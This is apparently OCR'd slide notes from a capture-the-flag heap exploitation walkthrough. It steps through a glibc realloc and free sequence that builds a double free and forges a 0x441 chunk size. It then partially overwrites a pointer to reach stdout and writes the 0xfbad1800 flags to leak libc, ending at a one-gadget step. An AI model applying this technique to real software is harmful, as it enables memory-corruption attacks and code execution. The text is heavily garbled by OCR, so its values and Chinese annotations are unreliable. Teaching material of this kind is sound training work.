AAAA(0x30)

AAAA(0x50)

alloc(0, 0x28, "AAAA")
free(0)
alloc(0, 0x48, "AAAA")
free(0)



AAAA(0x30)

AAAA(0X50)

alloc(0, 0x58, "AAAA")
realloc(0, 0, ")



AAAA(0x30)

AAAA(0X50)

0x61(size)

0

alloc(0, 0x58, "AAAA")
realloc(0, 0, ")

Ox60 —




AAAA(0x30)

AAAA(0x50)

0x61(size)

0

realloc(0, 0x18, '"BBBB")

Ox60 —




AAAA(0x30)

AAAA(0x50)

0x21(size)

BBBB

Ox41(size)

realloc(0, 0x18, '"BBBB")

Ox60 —

Ox40 —




AAAA(0x30)

AAAA(0x50)

0x21(size)

BBBB

Ox41(size)

free(0)

Ox60 —

Ox40 —




AAAA(0x30)

AAAA(0x50)

0x21(size)

Ox41(size)

free(0)

Ox60 —

Ox40 —

Ox20 ——




AAAA(0x30)

AAAA(0x50)

0x21(size)

Ox41(size)

# target: double free ~

alloc(0, 0x38, "AAAA")
realloc(0, 0, "")

alloc(1l, 0x38, "BBBB")
free(0)

realloc(1l, Ox38, "B" x 0x10)
free(1l)

Ox60 —

Ox40 —

Ox20 ——



AAAA(0x30)

AAAA(0x50)

0x21(size)

Ox41(size)

# target: double free ~

alloc(0, 0x38, "AAAA")
realloc(0, 0, "")

alloc(1l, 0x38, "BBBB")
free(0)

realloc(1l, Ox38, "B" x 0x10)
free(1l)

Ox60 —

Ox40 —

Ox20 ——



AAAA(0x30)

AAAA(0x50)

0x80

0x80

0x21(size)

0x80

0x80

Ox41(size)

0x80

0x80

0x80

0x80

for i 1in range(9):
alloc(1l, 0x68, "AAAA")
realloc(l, 0x78, "AAAA")
free(1)

PS: 0x80 —-- & H i KE AR/

Ox60 —

Ox40 —

Ox20 ——



AAAA(0x30)

AAAA(0x50)

0x21(size)

0x441(size)

alloc(0, 0x58)
-=> ("D" * 0x18) + p64(0x441)

PS: 0x441 —-- 81 0x80 + #WHex41

Ox60 ——

Ox40 —

Ox20 ——




AAAA(0x30)

AAAA(0X50)

0x21(size)

0x441(size)

fd

bk

alloc(1l, 0x38, "DDDD")
realloc(1, 0, "")

Ox60 ——

Ox40 —

Ox20 ——

unsorted «—




AAAA(0x30
( ) realloc(1l, 0x38, pl6(0x5760))
AAAA(0X50)
0x21(size) PS: 0x5760 2ENWfE, F—IXAJgeA—HF
Bid{E FD, aJLAE FD #8[A) stdout
0x441(size)
stdout Ox60
bk
Ox40 —
0x20 — STDOUT

unsorted «—




AAAA(0x30)

AAAA(0x50)

0x21(size)

0x441(size)

stdout

bk

alloc(0, 0x38, "DDDD")
realloc(0, 0x18, "AAAA")
free(0)

Ox60 ——

0x40 \\\\\\\\\\\\\\\\\\\\

Ox20 ——

STDOUT

unsorted «—




AAAA(0x30)

AAAA(0X50)

0x21(size)

0x441(size)

stdout

bk

alloc(0, 0Ox38)
-—=> p64(0xfbad1800) + p64(0) * 3

GET STDOUT!!

Ox60 —

0Ox40

Ox20 ——

unsorted «—




XHEM STDOUT 24t Libc BFIEXAZE, B)ERT Libc, ETREAMC?

Bic=il: One gadget
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